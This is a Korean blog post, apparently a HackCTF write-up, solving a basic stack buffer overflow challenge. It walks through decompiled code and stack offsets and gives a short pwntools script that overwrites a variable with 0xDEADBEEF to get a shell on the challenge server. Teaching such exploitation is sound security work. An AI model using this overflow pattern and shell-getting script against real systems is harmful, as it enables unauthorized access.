Basic_BOF #1 풀이
2021. 6. 15. 22:19ㆍHackCTF
728x90

문제 파일인 bof_basic이 바이너리 파일로 주어졌으니 IDA를 이용해서 C 소스파일의 형태로 보겠습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+4h] [ebp-34h]
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 67305985;
fgets(&s, 45, stdin);
printf("\n[buf]: %s\n", &s);
printf("[check] %p\n", v5);
if ( v5 != 67305985 && v5 != -559038737 )
puts("\nYou are on the right way!");
if ( v5 == -559038737 )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
코드를 보면 char형 배열 s, int형 변수 v5를 선언합니다.
그리고 v5에는 67305985라는 값을 입력하는데, 이를 16진수로 바꿔보니 4030201이 됩니다.
그러므로 실제 어셈블리 코드에서는 저 v5에 0x4030201이 들어갔을 거라 유추할 수 있습니다.
s는 fgets로 45byte 문자열을 입력받는 역할을 해줍니다.
이렇게만 보면 어디서 어떤 취약점이 나오는지 알 수 없으니 어셈블리 코드도 함께 보겠습니다.

우선 스택에 0x34만큼의 공간을 할당해줍니다. (0x34=52)
그리고 0xc만큼의 공간을 할당하고 거기에 0x4030201을 넣어줍니다. (0xc -> C -> 12)
그러면 s에 현재 남는 공간은 52-12=40byte가 될 것입니다.
여기서 위의 C 소스코드를 보면 fgets를 호출 할 때 입력받는 크기를 45라고 지정해놨습니다.
그러므로 Buffer Overflow가 일어날 것입니다.
이제 파이썬으로 문제 해결을 위한 소스코드를 짜보겠습니다.
from pwn import *
a=remote("ctf.j0n9hyun.xyz", 3000)
pause()
b='a'*40+p32(0xDEADBEEF)
a.sendline(b)
a.interactive()
이 소스코드를 컴파일하고 실행시키면 아래와 같이 FLAG가 나오게 됩니다!


728x90
'HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 풀이 (0) | 2021.07.14 |
---|---|
x64 Simple_size_BOF 풀이 (0) | 2021.07.13 |
내 버퍼가 흘러넘친다!!! 풀이 (0) | 2021.07.12 |
x64 Buffer Overflow 풀이 (0) | 2021.06.16 |
Basic_BOF #2 풀이 (0) | 2021.06.16 |